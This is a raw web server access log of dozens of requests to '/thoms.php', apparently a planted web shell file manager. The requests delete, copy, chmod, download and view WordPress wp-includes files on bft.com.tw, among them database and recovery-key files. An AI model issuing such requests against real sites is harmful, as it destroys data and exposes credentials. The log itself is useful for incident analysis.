45.135.193.11 - - [11/Sep/2026:23:10:12 -0400] "GET /thoms.php?del=template-canvas.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=template-canvas.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:13 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fpomo&p= HTTP/1.1" 200 11977 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fpomo&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:12 -0400] "GET /thoms.php?del=pomo&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=pomo&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:13 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:13 -0400] "GET /thoms.php?del=abilities-api.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=abilities-api.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:13 -0400] "GET /thoms.php?chmod=class-wp-roles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-roles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:13 -0400] "GET /thoms.php?dl=class-wp-comment-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php HTTP/1.1" 200 13284 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:13 -0400] "GET /thoms.php?dl=class-wp-plugin-dependencies.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-plugin-dependencies.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:13 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wpdb.php HTTP/1.1" 200 48403 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wpdb.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:14 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:13 -0400] "GET /thoms.php?dl=class-wp-site.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-site.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:14 -0400] "GET /thoms.php?dl=link-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57749 "http://163.245.207.76:443/thoms.php?dl=link-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:14 -0400] "GET /thoms.php?del=media-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57897 "http://163.245.207.76:443/thoms.php?del=media-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:14 -0400] "GET /thoms.php?del=class-walker-category.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-walker-category.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:14 -0400] "GET /thoms.php?dl=class-wp-image-editor-imagick.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-imagick.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:14 -0400] "GET /thoms.php?chmod=ms-functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=ms-functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:15 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-site.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-site.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:14 -0400] "GET /thoms.php?dl=class-wp-metadata-lazyloader.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-metadata-lazyloader.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:15 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-streams.php HTTP/1.1" 200 17486 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-streams.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:15 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=nav-menu-template.php HTTP/1.1" 200 19615 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=nav-menu-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:15 -0400] "GET /thoms.php?dl=option.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57898 "http://163.245.207.76:443/thoms.php?dl=option.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:15 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=taxonomy.php HTTP/1.1" 200 61824 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:15 -0400] "GET /thoms.php?del=registration-functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57896 "http://163.245.207.76:443/thoms.php?del=registration-functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:15 -0400] "GET /thoms.php?chmod=class-wp-theme.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:15 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=shortcodes.php HTTP/1.1" 200 19781 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=shortcodes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:15 -0400] "GET /thoms.php?del=class-wp-http.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57915 "http://163.245.207.76:443/thoms.php?del=class-wp-http.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:16 -0400] "GET /thoms.php?chmod=compat.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=compat.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fpost.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fpost.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:16 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=theme.json HTTP/1.1" 200 14890 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=theme.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:16 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-snoopy.php HTTP/1.1" 200 21717 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-snoopy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:16 -0400] "GET /thoms.php?dl=class-wp-http-encoding.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57898 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-encoding.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:16 -0400] "GET /thoms.php?chmod=class-wp-walker.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-walker.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fwp-db.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fwp-db.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:16 -0400] "GET /thoms.php?del=class-wp-block-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-block-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:17 -0400] "GET /thoms.php?chmod=class-wp-block-parser-block.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-block.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:16 -0400] "GET /thoms.php?del=class-wp-theme-json-schema.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-schema.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:17 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:17 -0400] "GET /thoms.php?chmod=deprecated.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=deprecated.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=vars.php HTTP/1.1" 200 14159 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=vars.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:17 -0400] "GET /thoms.php?del=feed-atom.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=feed-atom.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:17 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:17 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=widgets.php HTTP/1.1" 200 31885 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:17 -0400] "GET /thoms.php?chmod=assets&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=assets&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:17 -0400] "GET /thoms.php?del=class-wp-rewrite.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-rewrite.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:17 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:18 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:18 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=pluggable-deprecated.php HTTP/1.1" 200 14072 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=pluggable-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:18 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fphp-ai-client&p= HTTP/1.1" 200 11979 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fphp-ai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:18 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2FSimplePie&p= HTTP/1.1" 200 11985 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2FSimplePie&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:18 -0400] "GET /thoms.php?chmod=registration-functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=registration-functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:18 -0400] "GET /thoms.php?chmod=block-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=block-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:18 -0400] "GET /thoms.php?del=ID3&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57907 "http://163.245.207.76:443/thoms.php?del=ID3&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:18 -0400] "GET /thoms.php?dl=block-patterns.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57914 "http://163.245.207.76:443/thoms.php?dl=block-patterns.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:18 -0400] "GET /thoms.php?dl=class-pop3.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57656 "http://163.245.207.76:443/thoms.php?dl=class-pop3.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:19 -0400] "GET /thoms.php?chmod=class-wp-customize-section.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-section.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:18 -0400] "GET /thoms.php?del=class-wp-block-parser-frame.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-frame.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:19 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-settings.php HTTP/1.1" 200 13640 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:19 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2FSimplePie HTTP/1.1" 200 13110 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2FSimplePie" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:19 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-inline.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-inline.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:19 -0400] "GET /thoms.php?chmod=class-smtp.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-smtp.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:19 -0400] "GET /thoms.php?del=l10n&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57925 "http://163.245.207.76:443/thoms.php?del=l10n&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:19 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=template.php HTTP/1.1" 200 21684 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:19 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=blocks.php HTTP/1.1" 200 44428 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:19 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-feed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11863 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-feed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:19 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
